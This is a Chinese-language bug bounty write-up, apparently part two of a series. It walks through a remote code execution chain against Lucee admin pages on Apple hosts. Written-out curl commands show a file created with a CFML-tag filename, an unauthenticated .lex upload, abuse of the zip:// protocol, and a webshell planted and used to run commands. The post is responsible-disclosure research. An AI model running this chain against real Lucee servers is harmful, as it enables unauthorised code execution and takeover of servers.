【技術分享】我是如何入侵Apple并拿到40萬賞金的（二） - 網安

上一篇文章中講述了我是如何從0開始針對Apple的資產進行網站探測、CMS識別、代碼審計、失敗的入侵過程再到WAF繞過的分析，本篇承接上篇，講述RCE利鏈的完整過程。

01 facilities.apple.com上的遠程代碼執行

讓我們先來看一下在 https://facilities.apple.com 上利用 imgProcess.cfm和admin.search.index.cfm觸發的RCE鏈。

目前我們已經控制了一個目錄，既可以向其中復制文件（dataDir參數），也可以指定一個目錄來從其中復制文件過去（luceeArchiveZipPath參數）。

此時如果可以在服務器上的某處創建一個名稱為:

server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm

內容為:

"#stText.x.f#"

的文件，則可以通過luceeArchiveZipPath將其路徑傳遞給admin.search.index.cfm。

由于以下key:

server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm

并不存在，那么將創建它并將其寫入名為searchindex.cfm的文件中。

這意味著我們可以在使用dataDir參數來指定的任意目錄中的searchindex.cfm文件中控制CFML標簽（類似于PHP標簽），這同時也意味著我們可以使用webroot路徑在服務器上執行遠程代碼，達到RCE！

我們可以利用 imgProcess.cfm 在目標文件系統上創建一個文件：

server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm

其內容與RegExp相匹配：

[''"##]stText\..+?[''"##]

這次攻擊測試并不會觸發WAF，因為我們在這里沒有進行路徑遍歷。

獲得shell的完整利用鏈步驟

首先創建一個文件名為server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm，內容為 "#stText.x.f#"的文件（以匹配正則表達式），并將文件名進行URL編碼，因為后端（tomcat）不支持某些字符

curl -X POST 'https://facilities.apple.com/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'

訪問觸發復制文件名函數以準備將要執行的代碼

curl 'http://facilities.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'

寫shell最終觸發代碼執行

curl https://facilities.apple.com/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell

訪問 webshell： https://facilities.apple.com/lucee/rootxharsh/PoC.cfm

這次攻擊測試并不會觸發WAF，因為我們在這里沒有進行路徑遍歷。

02 另辟蹊徑，其他主機的淪陷

由于imgProcess.cfm在較早的Lucee版本中不可用，因此我們必須找到其他方法才能在另外兩臺主機上獲得RCE。我們發現了另一種巧妙的方法;）。

繞過身份驗證，上傳.lex文件

經過審計發現，ext.applications.upload.cfm 文件的部分功能代碼沒有嚴格的身份驗證。該代碼段非常簡單，我們只需要通過extfile表單傳遞帶有文件擴展名.lex的form參數，如果不這么做，前面已經解釋過，我們將會收到后端返回的異常。

<cfif not structKeyExists(form, "extfile") or form.extfile eq "">
    ...</cfif><!--- try to upload (.zip and .re) ---><cftry>
    <cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#"
    nameconflict="makeunique" />
    <cfif cffile.serverfileext neq "lex">
        <cfthrow message="Only .lex is allowed as extension!" />
    </cfif>
    <cfcatch>
        ...    </cfcatch></cftry><cfset zipfile="#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#"/>

針對.lex擴展名的處理，我們可以看到這段代碼：

<cfif cffile.serverfileext eq "lex">
    ... 
    type="#request.adminType#" 
    ...</cfif>

因為我們沒有request.admintype，所以會觸發異常。但是，但是，但是！！我們構造的惡意文件仍在觸發之前就已經上傳成功了，可以在這里確認：

.lex文件不過是一種壓縮文件格式，這實際上是Lucee的一種擴展名的格式，我們可以上傳，并且后端不會針對其檢查文件內容，因此我們可以將該文件設置為任何我們想要的內容。

03 Exploit之光

通過對Lucee的審計和測試發掘，我們已經知道它允許使用諸如 zip://，file:///等協議（我們剛好在此利用鏈中使用了這些協議），因此我們可以在系統中文件功能完全受到控制的地方利用這些被允許的協議來做一些我們想要的東西（luceeArchiveZipPath）。

現在，我們可以利用 ext.applications.upload.cfm 來創建.lex壓縮文件，其中將包含一個名稱為：

server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm

內容為：

"#stText.x.f#"

的文件。一旦我們將該zip格式的壓縮文件保存在系統上，就可以在luceeArchiveZipPath變量中使用zip://協議來訪問 *.*.cfm文件。

獲取另外兩臺主機的shell

1、創建一個文件名為server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm ，內容為"#stText.x.f#" 的文件，并將其壓縮為payload.lex
2、利用未授權的上傳點ext.applications.upload.cfm上傳該 .lex 文件

curl -vv -F extfile=@payload.lex https://booktravel.apple.com/lucee/admin/ext.applications.upload.cfm

3、利用 zip:// 協議觸發

curl https://booktravel.apple.com/lucee/admin/admin.search.index.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex

4、現在，我們的惡意文件
server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm
已作為文本字符串添加到了 /<lucee web>/context/exploit/ 目錄下的 searchindex.cfm文件里，
我們可以通過以下方式訪問它：

https://booktravel.apple.com/<lucee root>/exploit/searchindex.cfm

5向 https://booktravel.apple.com/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell 發出請求將創建我們的 webshell
創建成功，訪問 webshell，并執行 id 命令：https://booktravel.apple.com/lucee/exploit/test.cfm?cmd=id

由于有負載平衡，所以我們此處需要使用burp的Intruder功能來發現我們的shell命令執行結果。

Apple方面迅速解決了該問題，但要求我們在他們修復之前不要披露此漏洞。對于這些漏洞，總共給了我們50,000+美元的獎勵。

另一方面，我們和Apple、Lucee的團隊進行了交流。Lucee團隊通過限制直接訪問cfm文件來修復該錯誤。目前我們仍在等待CVE的分配下發。